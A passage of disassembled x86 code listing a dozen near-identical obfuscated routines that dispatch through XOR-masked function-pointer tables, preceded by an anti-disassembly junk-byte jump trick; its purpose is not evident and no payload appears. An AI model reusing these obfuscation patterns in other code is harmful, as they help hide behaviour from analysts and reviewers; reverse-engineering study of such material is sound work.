jo short loc_4A35FB
jl short loc_4A35F9
loc_4A35F6: ; CODE XREF: sub_4A35A2:loc_4A35F9j
; sub_4A35A2:loc_4A35FBj
jmp short loc_4A35FD
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_4A35F9: ; CODE XREF: sub_4A35A2+52j
jz short loc_4A35F6
loc_4A35FB: ; CODE XREF: sub_4A35A2+50j
jmp short loc_4A35F6
; ---------------------------------------------------------------------------
loc_4A35FD: ; CODE XREF: sub_4A35A2:loc_4A35F6j
and eax, 0
dec ecx
sub ch, 2
inc eax
dec ch
loc_4A3607: ; CODE XREF: sub_4A35A2+42j
mov [ebp+var_8], eax
mov eax, dword_4ED3C8
xor eax, dword_4ED3CC
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4A3629
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4A3629: ; CODE XREF: sub_4A35A2+7Cj
mov edx, [ebp+var_4]
push edx
call off_4F1D20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A35A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A363D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:off_4ED844o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 98h
mov [ebp+var_2C], 37h
mov [ebp+var_28], 80h
mov [ebp+var_24], 7
mov [ebp+var_20], 2Ch
mov [ebp+var_1C], 95h
mov [ebp+var_18], 9Ch
mov [ebp+var_14], 21h
mov [ebp+var_10], 13h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 13h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A36CE
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A36CE: ; CODE XREF: sub_4A363D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A363D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A373A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED848o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 58h
mov [ebp+var_2C], 68h
mov [ebp+var_28], 0
mov [ebp+var_24], 19h
mov [ebp+var_20], 76h
mov [ebp+var_1C], 0BAh
mov [ebp+var_18], 0B4h
mov [ebp+var_14], 26h
mov [ebp+var_10], 0Fh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Fh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A37CB
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A37CB: ; CODE XREF: sub_4A373A+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A373A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3837 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED84Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 90h
mov [ebp+var_2C], 37h
mov [ebp+var_28], 0F7h
mov [ebp+var_24], 56h
mov [ebp+var_20], 0F2h
mov [ebp+var_1C], 33h
mov [ebp+var_18], 4Bh
mov [ebp+var_14], 0D4h
mov [ebp+var_10], 3
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 3
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A38C8
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A38C8: ; CODE XREF: sub_4A3837+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3837 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3934 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED850o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 8Dh
mov [ebp+var_2C], 7Dh
mov [ebp+var_28], 0E7h
mov [ebp+var_24], 3Ah
mov [ebp+var_20], 74h
mov [ebp+var_1C], 2Eh
mov [ebp+var_18], 0B7h
mov [ebp+var_14], 28h
mov [ebp+var_10], 0Eh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Eh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A39C5
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A39C5: ; CODE XREF: sub_4A3934+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3934 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3A31 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED854o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 41h
mov [ebp+var_2C], 44h
mov [ebp+var_28], 75h
mov [ebp+var_24], 0B7h
mov [ebp+var_20], 0A9h
mov [ebp+var_1C], 1Dh
mov [ebp+var_18], 47h
mov [ebp+var_14], 85h
mov [ebp+var_10], 0Dh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Dh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A3AC2
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A3AC2: ; CODE XREF: sub_4A3A31+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3A31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3B2E proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED858o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0EBh
mov [ebp+var_2C], 3Ch
mov [ebp+var_28], 19h
mov [ebp+var_24], 7Ah
mov [ebp+var_20], 1Dh
mov [ebp+var_1C], 5Ch
mov [ebp+var_18], 0EAh
mov [ebp+var_14], 7Bh
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A3BBF
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A3BBF: ; CODE XREF: sub_4A3B2E+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3B2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3C2B proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED85Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 2Dh
mov [ebp+var_2C], 28h
mov [ebp+var_28], 0DFh
mov [ebp+var_24], 3Dh
mov [ebp+var_20], 0E1h
mov [ebp+var_1C], 0
mov [ebp+var_18], 53h
mov [ebp+var_14], 0CBh
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A3CBC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A3CBC: ; CODE XREF: sub_4A3C2B+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3C2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3D28 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED860o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 9Dh
mov [ebp+var_2C], 0F3h
mov [ebp+var_28], 81h
mov [ebp+var_24], 0B9h
mov [ebp+var_20], 75h
mov [ebp+var_1C], 6Bh
mov [ebp+var_18], 70h
mov [ebp+var_14], 0B9h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A3DB9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A3DB9: ; CODE XREF: sub_4A3D28+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3E25 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED864o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 17h
mov [ebp+var_2C], 63h
mov [ebp+var_28], 0EBh
mov [ebp+var_24], 7Fh
mov [ebp+var_20], 0EFh
mov [ebp+var_1C], 89h
mov [ebp+var_18], 54h
mov [ebp+var_14], 0A7h
mov [ebp+var_10], 15h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 15h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A3EB6
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A3EB6: ; CODE XREF: sub_4A3E25+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3E25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3F22 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED868o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Fh
mov [ebp+var_2C], 0E5h
mov [ebp+var_28], 0C4h
mov [ebp+var_24], 0DEh
mov [ebp+var_20], 0B2h
mov [ebp+var_1C], 57h
mov [ebp+var_18], 5Bh
mov [ebp+var_14], 0C2h
mov [ebp+var_10], 10h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 10h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A3FB3
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A3FB3: ; CODE XREF: sub_4A3F22+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A3F22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A401F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED86Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0A7h
mov [ebp+var_2C], 74h
mov [ebp+var_28], 0B6h
mov [ebp+var_24], 0D6h
mov [ebp+var_20], 35h
mov [ebp+var_1C], 27h
mov [ebp+var_18], 0D3h
mov [ebp+var_14], 45h
mov [ebp+var_10], 7
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 7
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A40B0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A40B0: ; CODE XREF: sub_4A401F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A401F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A411C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED870o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 70h
mov [ebp+var_2C], 0B6h
mov [ebp+var_28], 0D1h
mov [ebp+var_24], 0
mov [ebp+var_20], 0C3h
mov [ebp+var_1C], 0CEh
mov [ebp+var_18], 82h
mov [ebp+var_14], 18h
mov [ebp+var_10], 14h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 14h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
